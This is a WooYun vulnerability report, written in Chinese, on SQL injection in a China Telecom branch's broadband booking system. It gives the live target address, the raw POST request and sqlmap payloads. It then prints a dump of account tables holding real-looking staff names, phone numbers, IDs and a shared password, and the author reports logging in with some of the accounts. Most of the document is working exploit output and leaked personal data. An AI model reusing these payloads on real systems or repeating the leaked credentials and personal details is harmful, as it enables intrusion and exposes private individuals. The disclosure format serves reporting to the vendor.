漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0115804
漏洞标题：中国电信某系统sql注入(泄露市级详单)
相关厂商：中国电信
漏洞作者： 路人甲
提交时间：2015-05-24 16:24
修复时间：2015-07-12 16:54
公开时间：2015-07-12 16:54
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-05-24： 细节已通知厂商并且等待厂商处理中
2015-05-28： 厂商已经确认，细节仅向厂商公开
2015-06-07： 细节向核心白帽子及相关领域专家公开
2015-06-17： 细节向普通白帽子公开
2015-06-27： 细节向实习白帽子公开
2015-07-12： 细节向公众公开
简要描述：
中国电信运营安全服务中心
详细说明：
@某市电信宽带装机预约系统sql注入(泄露全市宽带安装单)
漏洞证明：
http://222.86.132.2/login.asp
安顺电信分公司宽带装机预约系统
post数据：
POST /chklogin.asp HTTP/1.0
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/QVOD, application/QVOD, */*
Referer: http://222.86.132.2/
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: 222.86.132.2
Content-Length: 34
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDAATSACBD=LMLJNIEAMAJEOGCFDMILIMJC
admin=1&password=1&B1=%CC%E1%BD%BB
注入数据：
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: admin (POST)
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: admin=1' AND 5607=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)|
|CHR(107)||CHR(118)||CHR(106)||CHR(113)||(SELECT (CASE WHEN (5607=5607) THEN 1 E
LSE 0 END) FROM DUAL)||CHR(113)||CHR(107)||CHR(98)||CHR(120)||CHR(113)||CHR(62))
) FROM DUAL) AND 'Zthk'='Zthk&password=1&B1=%CC%E1%BD%BB
Type: AND/OR time-based blind
Title: Oracle AND time-based blind (heavy query)
Payload: admin=1' AND 8984=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,A
LL_USERS T3,ALL_USERS T4,ALL_USERS T5) AND 'JeHd'='JeHd&password=1&B1=%CC%E1%BD%
BB
---
[23:14:00] [INFO] the back-end DBMS is Oracle
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0
back-end DBMS: Oracle
[23:14:00] [INFO] fetching current database
[23:14:00] [INFO] resumed: GZDXDB
[23:14:00] [WARNING] on Oracle you'll need to use schema names for enumeration a
s the counterpart to database names on other DBMSes
current schema (equivalent to database on Oracle): 'GZDXDB'
[23:14:00] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\222.86.132.2'
[*] shutting down at 23:14:00
跑表：
Database: GZDXDB
[11 tables]
+------------------+
| ASGJZ_LST |
| ASYYADMIN |
| ASYYADMINBAK0508 |
| ASYYGUHUA |
| ASYYSQ |
| ASYYXT |
| ASYYXTBAK |
| ASYYXTBAK0518 |
| ASYYXTBAK0522 |
| ASYYZHANDIAN |
| ASYYZT |
+------------------+
跑出账号密码：
ID LX LXTEL STAFF AREAS AREABM STAFFWD PASSWORD WEIHUAREA SATFFNAME
195 1 15304 W21321 平坝县 15304 平坝分公司-乐平镇-黄波营业厅 111111 NULL 平坝分公司-乐平镇-黄波营业厅
196 1 15304 W21322 平坝县 15304 平坝分公司-乐平镇-黄波营业厅 111111 NULL 平坝分公司-乐平镇-黄波营业厅
197 1 15303 W21541 西秀区 15303 西秀分公司-七眼桥镇-安大厂 111111 NULL 西秀分公司-七眼桥镇-安大厂
198 1 15303 W21542 西秀区 15303 西秀分公司-七眼桥镇-安大厂 111111 NULL 西秀分公司-七眼桥镇-安大厂
199 1 15303 W22871 西秀区 15303 西秀分公司-宁谷镇-刘子荣营业厅 111111 NULL 西秀分公司-宁谷镇-刘子荣营业厅
200 1 15303 W22872 西秀区 15303 西秀分公司-宁谷镇-刘子荣营业厅 111111 NULL 西秀分公司-宁谷镇-刘子荣营业厅
201 1 15303 W22951 西秀区 15303 西秀分公司-大西桥镇-陈道刚营业厅 111111 NULL 西秀分公司-大西桥镇-陈道刚营业厅
202 1 15303 W22971 西秀区 15303 西秀分公司-幺铺镇-王玉梅营业厅 111111 NULL 西秀分公司-幺铺镇-王玉梅营业厅
203 1 15303 W23101 西秀区 15303 西秀分公司-七眼桥镇-方洪明营业厅 111111 NULL 西秀分公司-七眼桥镇-方洪明营业厅
204 1 15308 W23791 普定县 15308 普定分公司-陈锦栋-文明路天翼手机卖场 111111 NULL 普定分公司-陈锦栋-文明路天翼手机卖场
205 1 15308 W23792 普定县 15308 普定分公司-陈锦栋-文明路天翼手机卖场 111111 NULL 普定分公司-陈锦栋-文明路天翼手机卖场
206 1 15303 W28811 西秀区 15303 西秀分公司-刘毅-联合通讯便利店 111111 NULL 西秀分公司-刘毅-联合通讯便利店
207 1 15303 W28812 西秀区 15303 西秀分公司-刘毅-联合通讯便利店 111111 NULL 西秀分公司-刘毅-联合通讯便利店
208 1 15303 W30771 西秀区 15303 西秀分公司-谢国猛-网点科技便利店 111111 NULL 西秀分公司-谢国猛-网点科技便利店
209 1 15304 W30841 平坝县 15304 平坝分公司-讯捷-三星专卖店 111111 NULL 平坝分公司-讯捷-三星专卖店
210 1 15303 W31341 西秀区 15303 西秀分公司-郭小勇-车城便利店 111111 NULL 西秀分公司-郭小勇-车城便利店
211 1 15303 W31351 西秀区 15303 西秀分公司-郑荣涛-连邦科技便利店 111111 NULL 西秀分公司-郑荣涛-连邦科技便利店
212 1 15304 W31721 平坝县 15304 平坝分公司-十字乡-张雄 111111 NULL 平坝分公司-十字乡-张雄
213 1 15303 W31811 西秀区 15303 西秀分公司-杨武乡-杨正彭营业厅 111111 NULL 西秀分公司-杨武乡-杨正彭营业厅
214 1 15306 W36941 镇宁县 15306 镇宁分公司-赵英-建行便利店 111111 NULL 镇宁分公司-赵英-建行便利店
215 1 15306 W36942 镇宁县 15306 镇宁分公司-赵英-建行便利店 111111 NULL 镇宁分公司-赵英-建行便利店
216 1 15306 W36951 镇宁县 15306 镇宁分公司-李利达-体育场便利店 111111 NULL 镇宁分公司-李利达-体育场便利店
217 1 15306 W36961 镇宁县 15306 镇宁分公司-李敏-凹厂便利店 111111 NULL 镇宁分公司-李敏-凹厂便利店
218 1 15307 W37301 关岭县 15307 关岭分公司-永宁镇-花江福祥 111111 NULL 关岭分公司-永宁镇-花江福祥
219 1 15307 W37302 关岭县 15307 关岭分公司-永宁镇-花江福祥 111111 NULL 关岭分公司-永宁镇-花江福祥
220 1 15307 W37303 关岭县 15307 关岭分公司-永宁镇-花江福祥 111111 NULL 关岭分公司-永宁镇-花江福祥
221 1 15305 W37601 紫云县 15305 紫云分公司-陈周-松山岜易村便利店 111111 NULL 紫云分公司-陈周-松山岜易村便利店
222 1 15305 W37691 紫云县 15305 紫云分公司-大营镇-舒展 111111 NULL 紫云分公司-大营镇-舒展
223 1 15305 W37801 紫云县 15305 紫云分公司-樊\\?a0\\?44-教场路代理 111111 NULL 紫云分公司-樊\\?a0\\?44-教场路代理
224 1 15305 W37802 紫云县 15305 紫云分公司-樊\\?a0\\?44-教场路代理 111111 NULL 紫云分公司-樊\\?a0\\?44-教场路代理
225 1 15303 W40521 西秀区 15303 西秀分公司-郑洪虎-112地质队便利店 111111 NULL 西秀分公司-郑洪虎-112地质队便利店
226 1 15303 W40522 西秀区 15303 西秀分公司-郑洪虎-112地质队便利店 111111 NULL 西秀分公司-郑洪虎-112地质队便利店
227 1 15303 W40523 西秀区 15303 西秀分公司-郑洪虎-112地质队便利店 111111 NULL 西秀分公司-郑洪虎-112地质队便利店
228 1 15303 W47661 西秀区 15303 西秀分公司-龙文琴-西山便利店 111111 NULL 西秀分公司-龙文琴-西山便利店
229 1 15304 W52971 平坝县 15304 平坝分公司-任锦兰-城关便利店 111111 NULL 平坝分公司-任锦兰-城关便利店
230 1 15304 W56901 平坝县 15304 平坝分公司-天龙镇-杨吉新营业厅 111111 NULL 平坝分公司-天龙镇-杨吉新营业厅
231 1 15308 W68261 普定县 15308 普定分公司-马场镇-王仕龙 111111 NULL 普定分公司-马场镇-王仕龙
232 1 15308 W68281 普定县 15308 普定分公司-马场镇-张光平 111111 NULL 普定分公司-马场镇-张光平
233 1 15303 W70181 西秀区 15303 西秀分公司-幺铺-上头铺郑龙贵 111111 NULL 西秀分公司-幺铺-上头铺郑龙贵
234 1 15305 W71191 紫云县 15305 紫云分公司-李海洋-友好通讯 111111 NULL 紫云分公司-李海洋-友好通讯
235 1 15305 W71192 紫云县 15305 紫云分公司-李海洋-友好通讯 111111 NULL 紫云分公司-李海洋-友好通讯
236 1 15304 W74561 平坝县 15304 平坝分公司-马场镇-曹秉芝营业厅 111111 NULL 平坝分公司-马场镇-曹秉芝营业厅
237 1 15304 W76201 平坝县 15304 平坝分公司-沈丽霞-恒通天翼手机卖场 111111 NULL 平坝分公司-沈丽霞-恒通天翼手机卖场
238 1 15306 W78501 镇宁县 15306 镇宁分公司-良田乡-何顺兰营业厅 111111 NULL 镇宁分公司-良田乡-何顺兰营业厅
239 1 15306 W78511 镇宁县 15306 镇宁分公司-六马乡-潘蓉营业厅 111111 NULL 镇宁分公司-六马乡-潘蓉营业厅
240 1 15306 W78541 镇宁县 15306 镇宁分公司-募役乡-王明丹营业厅 111111 NULL 镇宁分公司-募役乡-王明丹营业厅
241 1 15306 W78551 镇宁县 15306 镇宁分公司-江龙镇-谢再芬营业厅 111111 NULL 镇宁分公司-江龙镇-谢再芬营业厅
242 1 15306 W78561 镇宁县 15306 镇宁分公司-丁其镇-皮灿缴费代理点 111111 NULL 镇宁分公司-丁其镇-皮灿缴费代理点
243 1 15306 W78562 镇宁县 15306 镇宁分公司-丁其镇-皮灿缴费代理点 111111 NULL 镇宁分公司-丁其镇-皮灿缴费代理点
244 1 15306 W78563 镇宁县 15306 镇宁分公司-丁其镇-皮灿缴费代理点 111111 NULL 镇宁分公司-丁其镇-皮灿缴费代理点
245 1 15306 W78564 镇宁县 15306 镇宁分公司-丁其镇-皮灿缴费代理点 111111 NULL 镇宁分公司-丁其镇-皮灿缴费代理点
246 1 15306 W78565 镇宁县 15306 镇宁分公司-丁其镇-皮灿缴费代理点 111111 NULL 镇宁分公司-丁其镇-皮灿缴费代理点
247 1 15306 W78566 镇宁县 15306 镇宁分公司-丁其镇-皮灿缴费代理点 111111 NULL 镇宁分公司-丁其镇-皮灿缴费代理点
248 1 15306 W78581 镇宁县 15306 镇宁分公司-大山乡-李富时营业厅 111111 NULL 镇宁分公司-大山乡-李富时营业厅
249 1 15306 W78591 镇宁县 15306 镇宁分公司-革利乡-周忠\\?8f\\?a9营业厅 111111 NULL 镇宁分公司-革利乡-周忠\\?8f\\?a9营业厅
250 1 15306 W78601 镇宁县 15306 镇宁分公司-本寨乡-吴志荣营业厅 111111 NULL 镇宁分公司-本寨乡-吴志荣营业厅
251 1 15306 W78621 镇宁县 15306 镇宁分公司-朵卜陇乡-丁成勇营业厅 111111 NULL 镇宁分公司-朵卜陇乡-丁成勇营业厅
252 1 15304 W78801 平坝县 15304 平坝分公司-夏云镇-方丽营业厅 111111 NULL 平坝分公司-夏云镇-方丽营业厅
253 1 15305 W78861 紫云县 15305 紫云分公司-板当镇-座马河 111111 NULL 紫云分公司-板当镇-座马河
254 1 15305 W78881 紫云县 15305 紫云分公司-猫云镇-付加贵 111111 NULL 紫云分公司-猫云镇-付加贵
255 1 15305 W78891 紫云县 15305 紫云分公司-猫云镇-陆兴志 111111 NULL 紫云分公司-猫云镇-陆兴志
256 1 15305 W78901 紫云县 15305 紫云分公司-猫云镇-龙华营业厅 111111 NULL 紫云分公司-猫云镇-龙华营业厅
257 1 15305 W78911 紫云县 15305 紫云分公司-白石岩乡-杨小兵营业厅 111111 NULL 紫云分公司-白石岩乡-杨小兵营业厅
258 1 15305 W78921 紫云县 15305 紫云分公司-水塘镇-李明忠营业厅 111111 NULL 紫云分公司-水塘镇-李明忠营业厅
259 1 15305 W78931 紫云县 15305 紫云分公司-水塘镇-羊场 111111 NULL 紫云分公司-水塘镇-羊场
260 1 15305 W78941 紫云县 15305 紫云分公司-四大寨乡-罗朝海营业厅 111111 NULL 紫云分公司-四大寨乡-罗朝海营业厅
261 1 15305 W78951 紫云县 15305 紫云分公司-达帮乡-罗建华营业厅 111111 NULL 紫云分公司-达帮乡-罗建华营业厅
262 1 15305 W78961 紫云县 15305 紫云分公司-宗地乡-罗贤玉营业厅 111111 NULL 紫云分公司-宗地乡-罗贤玉营业厅
263 1 15305 W78971 紫云县 15305 紫云分公司-火花乡-明信文营业厅 111111 NULL 紫云分公司-火花乡-明信文营业厅
1 3 18985301099 533016 西秀区郊区 15303 NULL 111111 塘关 艾明红
2 3 18985716956 NULL 紫云县 15305 NULL 111111 猫场街上 安方
3 3 15329730666 NULL 紫云县 15305 NULL 111111 猴场街上 安红
4 3 18985437178 NULL 镇宁县 15306 NULL 111111 黄草 白凯
5 3 18985320636 535007 紫云县 15305 NULL 111111 花园头 班继来
6 3 18985702233 W83711 平坝县 15304 NULL 111111 白岩 班文飞
7 3 13385133322 NULL 西秀区郊区 15303 NULL 111111 黄腊乡所辖区域 班文辉
8 3 13308531662 5320019 西秀区城区 15303 NULL 111111 北航路新世纪小区至北航路云马小区 鲍安坤
9 3 15329133498 5339521 平坝县 15304 NULL 111111 齐伯 鲍中国
10 3 18008539911 NULL 西秀区郊区 15303 NULL 111111 刘官村通 曹顶堂
11 3 18985325885 535006 紫云县 15305 NULL 111111 城坝路 曹阳
12 3 18083156792 5339518 平坝县 15304 NULL 111111 二官 柴裕武
13 3 18083151807 NULL 关岭县 15307 NULL 111111 岗乌 陈昌令
14 3 18985737887 NULL 西秀区郊区 15303 NULL 111111 火烧寨 陈权
15 3 18985737887 NULL 西秀区郊区 15303 NULL 111111 火烧寨 陈权
16 3 13339633276 W83851 普定县 15308 NULL 111111 猴场乡乡所有通电话村寨 陈仕勋
17 3 18083160080 NULL 紫云县 15305 NULL 111111 纳容街上 陈文刚
18 3 18985737099 NULL 西秀区郊区 15303 NULL 111111 中所 陈翔
19 3 15308539007 53006 西秀区城区 15303 NULL 111111 南水路花鸟市场附近 陈星
20 3 18083151805 5339414 关岭县 15307 NULL 111111 上关镇 陈永林
21 3 18985729092 534017 平坝县 15304 NULL 111111 五里 陈忠凯
22 3 18985729092 534017 平坝县 15304 NULL 111111 管辖范围 陈忠凯
23 3 18984522345 536002 镇宁县 15306 NULL 111111 管辖范围 程发蔚
24 3 15329033066 NULL 西秀区郊区 15303 NULL 111111 苏家屯村通 邓兴村
25 3 18985710663 5330344 关岭县 15307 NULL 111111 北口街 杜厚胜
26 3 18985320800 5339944 西秀区城区 15303 NULL 111111 150厂及家属区 范晓海
27 3 18985722725 NULL 西秀区郊区 15303 NULL 111111 安大厂 方洪明
28 3 18985737168 NULL 西秀区郊区 15303 NULL 111111 七眼桥 方胜美
29 3 13368531687 5320018 西秀区城区 15303 NULL 111111 双阳厂区 付朝鹏
30 3 18985716439 NULL 紫云县 15305 NULL 111111 洞口街上 付家贵
31 3 15329133519 W83841 普定县 15308 NULL 111111 补郎乡所有通电话村寨 高兴福
32 3 18985321868 536005 镇宁县 15306 NULL 111111 管辖范围 勾大湖
33 3 18985308833 5320015 西秀区城区 15303 NULL 111111 新天地1 顾洲
34 3 15308539800 5339938 关岭县 15307 NULL 111111 塔山小区 郭开仕
35 3 18083151801 NULL 关岭县 15307 NULL 111111 断桥木城 郭克林
36 3 18985711905 WQ0061 普定县 15308 NULL 111111 鸡场坡乡所有通电话村寨 郭伟
37 3 18084318889 NULL 紫云县 15305 NULL 111111 板当街上 郭学友
38 3 18985316551 5338013 普定县 15308 NULL 111111 马场镇所有通电话村寨 何君
39 3 15308539600 537004 关岭县 15307 NULL 111111 瓦厂路 何磊
40 3 18985715168 5339091 西秀区城区 15303 NULL 111111 西街右侧至两可间翠麓小区 洪文林
41 3 18985309966 533015 西秀区城区 15303 NULL 111111 龙青路翠麓名品路口至电力城路口东侧 胡斌
42 3 18985722226 NULL 西秀区郊区 15303 NULL 111111 头铺 胡定平
43 3 15329133508 NULL 平坝县 15304 NULL 111111 菜花洞 胡明
44 3 18985729093 5339775 平坝县 15304 NULL 111111 管辖范围 胡琪
45 3 15329531999 5339579 普定县 15308 NULL 111111 猫洞乡所有通电话村寨 胡山江
46 3 18985722485 NULL 西秀区郊区 15303 NULL 111111 董家庄 胡小方
47 3 18985438738 NULL 镇宁县 15306 NULL 111111 大山 胡永志
48 3 18908535056 532014 西秀区城区 15303 NULL 111111 安吉家园FTTH 胡志伟
49 3 18985320816 533010 西秀区城区 15303 NULL 111111 西航大道南风日化厂至派力花园 黄克秋
随即测试两个W78861 111111
5339579 111111
泄露信息巨大，详细工单都会泄露
修复方案：
过滤
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：13
确认时间：2015-05-28 16:52
厂商回复：
CNVD确认所述情况,已经转由CNCERT向中国电信集团公司通报,由其后续协调网站管理部门处置.
最新状态：
暂无